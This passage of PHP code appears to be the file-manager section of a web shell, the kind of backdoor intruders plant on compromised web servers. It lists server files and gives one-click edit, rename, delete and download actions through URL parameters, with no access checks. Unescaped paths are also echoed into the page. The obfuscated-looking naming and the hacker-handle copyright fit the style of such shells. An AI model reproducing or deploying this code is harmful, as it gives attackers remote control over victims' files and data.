            if ($size > 1024) {
                $size = round($size / 1024, 2) . 'MB';
            } else {
                $size = $size . 'KB';
            }
            if (!is_file("$dir/$file")) {
                continue;
            }

            echo "<tr class='filetr'>";
            echo "<td class='td_home'>



			<a id=\"" . clearspace($file) . "_link\" href='?act=view&dir=$dir&file=$dir/$file'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='>  $file</a>

	<form method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
		<input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" />
		<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"rename\" value=\"" . $file . "\" />
		<input type=\"submit\" name=\"do_rename\" value=\"rename\" />
		<input class=\"inputzbut\" type=\"button\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_form','" . clearspace($file) . "_link');\" />
	</form>



			";
            echo "<td class='td_home'><center>$ftype</center></td>";
            echo "<td class='td_home'><center>$size</center></td>";
            echo "<td class='td_home'><center>" . w("$dir/$file", permissions("$dir/$file")) . "</center></td>";
            echo "<td class='td_home'>$ftime</td>";
            echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
        }
        echo "</tr></table>";
    } else {
        echo "<font color=red>can't open directory</font>";
    }

    ?></table>
				<div style="background:#282828;border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-left-radius:4px;-moz-border-bottom-left-radius:4px;-webkit-border-bottom-left-radius:4px;height:25px;margin:0px 0px 10px 0px;width:1000px;">
					<center>
						Copyright © 2017 - 0x1999 </div>

				<?php

}
@ob_flush();
?>

				</body>

	</html>